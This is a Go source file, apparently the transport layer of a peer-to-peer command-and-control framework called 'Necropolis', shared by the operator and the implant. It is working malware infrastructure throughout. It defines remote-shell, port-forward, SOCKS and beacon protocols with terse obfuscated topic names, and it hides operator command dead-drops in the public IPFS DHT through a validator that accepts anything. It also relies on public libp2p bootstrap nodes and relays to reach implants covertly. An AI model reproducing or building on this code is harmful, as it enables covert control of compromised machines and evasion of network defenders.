// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS // discovery. Used by both the operator and the implant. package transport import ( "context" "fmt" "log" "strings" "sync" "time" "github.com/libp2p/go-libp2p" dht "github.com/libp2p/go-libp2p-kad-dht" pubsub "github.com/libp2p/go-libp2p-pubsub" "github.com/libp2p/go-libp2p/core/crypto" "github.com/libp2p/go-libp2p/core/host" "github.com/libp2p/go-libp2p/core/network" "github.com/libp2p/go-libp2p/core/peer" "github.com/libp2p/go-libp2p/core/protocol" "github.com/libp2p/go-libp2p/p2p/discovery/mdns" routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing" "github.com/libp2p/go-libp2p/p2p/host/autorelay" "github.com/multiformats/go-multiaddr" ) // Protocol ID constants for libp2p stream handlers and PubSub topic prefixes. const ( NecropolisProtocolID protocol.ID = "/x/1.0.0" ShellProtocolID protocol.ID = "/x/sh/1.0.0" PortfwdProtocolID protocol.ID = "/x/pf/1.0.0" SocksProtocolID protocol.ID = "/x/sk/1.0.0" BeaconProtocolID protocol.ID = "/bc/1.0.0" CmdProtocolID protocol.ID = "/bc/1.0.0/cmd" CommandTopicPrefix string = "/c/" BeaconTopicPrefix string = "/b/" TaskTopicPrefix string = "/t/" CommandsSuffix string = "/cx" BeaconsSuffix string = "/bx" TasksSuffix string = "/tx/" ) // DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers. func DefaultBootstrapAddrs() []peer.AddrInfo { var out []peer.AddrInfo for _, s := range defaultBootstrapPeers { m, err := multiaddr.NewMultiaddr(s) if err != nil { continue } pi, err := peer.AddrInfoFromP2pAddr(m) if err != nil { continue } out = append(out, *pi) } return out } var defaultBootstrapPeers = []string{ "/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN", "/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa", "/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb", "/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt", "/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq", "/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc", "/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE", "/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ", } // NodeConfig holds all options for constructing a Node: listen address, bootstrap peers, // relay settings, DHT, mDNS, and the libp2p identity key. type NodeConfig struct { ListenAddr string BootstrapPeers []peer.AddrInfo EnableRelay bool EnableRelayService bool EnableMDNS bool EnableDHT bool RelayAddrs []string PrivateKey crypto.PrivKey } // Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and // cached topics/subscriptions. type Node struct { Host host.Host PubSub *pubsub.PubSub DHT *dht.IpfsDHT disc *routingdiscovery.RoutingDiscovery config NodeConfig topics map[string]*pubsub.Topic subs map[string]*pubsub.Subscription mu sync.RWMutex ctx context.Context cancel context.CancelFunc } // NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT, // and configures auto-relay if relay addresses are provided. func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) { ctx, cancel := context.WithCancel(ctx) baseOpts := []libp2p.Option{ libp2p.ListenAddrStrings(cfg.ListenAddr), } if cfg.PrivateKey != nil { baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey)) } if cfg.EnableRelay { baseOpts = append(baseOpts, libp2p.EnableRelay()) } if cfg.EnableRelayService { baseOpts = append(baseOpts, libp2p.EnableRelayService()) } var h host.Host var err error if len(cfg.RelayAddrs) > 0 { if cfg.EnableDHT { baseOpts = append(baseOpts, libp2p.EnableAutoRelay( autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo { return findRelayCandidates(ctx, num, h) }), )) } else { var relays []peer.AddrInfo for _, s := range cfg.RelayAddrs { m, err := multiaddr.NewMultiaddr(s) if err != nil { cancel() return nil, fmt.Errorf("parse relay addr %q: %w", s, err) } pi, err := peer.AddrInfoFromP2pAddr(m) if err != nil { cancel() return nil, fmt.Errorf("parse relay peer info %q: %w", s, err) } relays = append(relays, *pi) } baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays)) } } else if cfg.EnableDHT { baseOpts = append(baseOpts, libp2p.EnableAutoRelay( autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo { return findRelayCandidates(ctx, num, h) }), )) } baseOpts = append(baseOpts, opts...) h, err = libp2p.New(baseOpts...) if err != nil { cancel() return nil, fmt.Errorf("create libp2p host: %w", err) } if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT { go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs) } params := pubsub.DefaultGossipSubParams() params.D = 6 params.Dlo = 4 params.Dhi = 12 params.HistoryLength = 10 params.HistoryGossip = 5 params.HeartbeatInterval = 1 * time.Second ps, err := pubsub.NewGossipSub(ctx, h, pubsub.WithPeerExchange(true), pubsub.WithFloodPublish(true), pubsub.WithGossipSubParams(params), ) if err != nil { cancel() return nil, fmt.Errorf("create pubsub: %w", err) } n := &Node{ Host: h, PubSub: ps, config: cfg, topics: make(map[string]*pubsub.Topic), subs: make(map[string]*pubsub.Subscription), ctx: ctx, cancel: cancel, } if cfg.EnableDHT { d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto), dht.ProtocolPrefix("/necropolis"), dht.NamespacedValidator("necropolis", passThroughValidator{}), ) if err != nil { cancel() return nil, fmt.Errorf("create dht: %w", err) } n.DHT = d n.disc = routingdiscovery.NewRoutingDiscovery(d) } return n, nil } // StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and // starts mDNS if enabled. func (n *Node) StartDiscovery() error { go func() { defer func() { recover() }() for _, pi := range n.config.BootstrapPeers { connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second) if err := n.Host.Connect(connectCtx, pi); err != nil { cancel() continue } cancel() } }() if n.DHT != nil { go func() { defer func() { recover() }() n.DHT.Bootstrap(n.ctx) }() } if n.config.EnableMDNS { svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host}) if err := svc.Start(); err != nil { return fmt.Errorf("start mdns: %w", err) } } return nil } type mdnsNotifee struct { h host.Host } // HandlePeerFound adds discovered mDNS peer addresses to the peerstore. func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) { if pi.ID == m.h.ID() { return } for _, addr := range pi.Addrs { m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour) } } // Advertise registers this node under a DHT rendezvous namespace. func (n *Node) Advertise(ctx context.Context, ns string) error { if n.disc == nil { return fmt.Errorf("DHT not enabled") } _, err := n.disc.Advertise(ctx, ns) return err } // FindPeers performs a DHT-based peer discovery for the given namespace. func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) { if n.disc == nil { return nil, fmt.Errorf("DHT not enabled") } return n.disc.FindPeers(ctx, ns) } // JoinTopic joins a PubSub topic, caching the handle for reuse. func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) { n.mu.Lock() defer n.mu.Unlock() if t, ok := n.topics[topic]; ok { return t, nil } t, err := n.PubSub.Join(topic) if err != nil { return nil, fmt.Errorf("join topic %s: %w", topic, err) } n.topics[topic] = t return t, nil } // Subscribe creates a subscription to a PubSub topic, caching it for reuse. func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) { n.mu.Lock() defer n.mu.Unlock() if s, ok := n.subs[topic]; ok { return s, nil } t, ok := n.topics[topic] if !ok { var err error t, err = n.PubSub.Join(topic) if err != nil { return nil, fmt.Errorf("join topic %s: %w", topic, err) } n.topics[topic] = t } sub, err := t.Subscribe() if err != nil { return nil, fmt.Errorf("subscribe %s: %w", topic, err) } n.subs[topic] = sub return sub, nil } // Publish sends data to a PubSub topic. func (n *Node) Publish(ctx context.Context, topic string, data []byte) error { t, err := n.JoinTopic(topic) if err != nil { return err } return t.Publish(ctx, data) } // ConnectToPeer establishes a libp2p connection to the given peer. func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error { return n.Host.Connect(ctx, pi) } // SetStreamHandler registers a handler for the given protocol ID on the libp2p host. func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) { n.Host.SetStreamHandler(pid, handler) } // NewStream opens a libp2p stream to the given peer on the given protocol. func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) { return n.Host.NewStream(ctx, p, pid) } // WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts. func (n *Node) WaitForDHT(ctx context.Context) bool { for i := 0; i < 30; i++ { if n.DHT.RoutingTable().Size() >= 5 { return true } select { case <-ctx.Done(): return false case <-time.After(2 * time.Second): } } return false } // Close cancels the node context, shuts down the DHT, and closes the host. func (n *Node) Close() error { n.cancel() if n.DHT != nil { n.DHT.Close() } return n.Host.Close() } // Addrs returns the host's multiaddresses. func (n *Node) Addrs() []multiaddr.Multiaddr { return n.Host.Addrs() } // ID returns the host's libp2p peer ID. func (n *Node) ID() peer.ID { return n.Host.ID() } // PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB. func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error { if n.DHT == nil { return fmt.Errorf("DHT not enabled") } return n.DHT.PutValue(ctx, key, value) } // GetDHTValue retrieves the best value for key from the DHT. func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) { if n.DHT == nil { return nil, fmt.Errorf("DHT not enabled") } val, err := n.DHT.GetValue(ctx, key) if err != nil { return nil, err } return val, nil } // passThroughValidator accepts any key/value — used for DHT dead-drop namespace // where we just need storage with no validation. type passThroughValidator struct{} func (passThroughValidator) Validate(_ string, _ []byte) error { return nil } func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil } // CommandDHTKey returns the DHT key for operator command dead-drops. // Registered under the /necropolis/ namespace via NamespacedValidator. func CommandDHTKey(operatorID peer.ID, nonce int64) string { return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce) } // RelayRendezvousString returns the DHT namespace for relay peer discovery. func (n *Node) RelayRendezvousString(operatorID peer.ID) string { return "necropolis/relay/" + operatorID.String() } // AdvertiseRelay advertises this node as a relay on the given DHT namespace. func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error { if n.disc == nil { return fmt.Errorf("DHT not enabled") } _, err := n.disc.Advertise(ctx, ns) return err } // FindRelayPeers discovers peers advertising themselves as relays on the given namespace. func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) { if n.disc == nil { return nil, fmt.Errorf("DHT not enabled") } peerCh, err := n.disc.FindPeers(ctx, ns) if err != nil { return nil, err } var out []peer.AddrInfo for pi := range peerCh { if len(pi.Addrs) == 0 { continue } out = append(out, pi) if len(out) >= limit { break } } return out, nil } // findRelayCandidates scans connected peers for those running circuit relay. func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo { ch := make(chan peer.AddrInfo, num) go func() { defer func() { recover() }() defer close(ch) if h == nil { return } for _, p := range h.Network().Peers() { if len(ch) >= num { return } protocols, err := h.Peerstore().GetProtocols(p) if err != nil { continue } for _, proto := range protocols { if strings.Contains(string(proto), "circuit/relay") { addrs := h.Peerstore().Addrs(p) if len(addrs) > 0 { select { case ch <- peer.AddrInfo{ID: p, Addrs: addrs}: case <-ctx.Done(): return } } break } } } }() return ch } // tryStaticRelayConnections attempts to connect to each static relay address in the config. func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) { for _, s := range relayAddrs { m, err := multiaddr.NewMultiaddr(s) if err != nil { log.Printf("[node] parse relay addr %q: %v", s, err) continue } pi, err := peer.AddrInfoFromP2pAddr(m) if err != nil { log.Printf("[node] parse relay peer %q: %v", s, err) continue } connCtx, cancel := context.WithTimeout(ctx, 10*time.Second) err = h.Connect(connCtx, *pi) cancel() if err != nil { log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err) continue } log.Printf("[node] connected to relay %s", pi.ID.String()) } }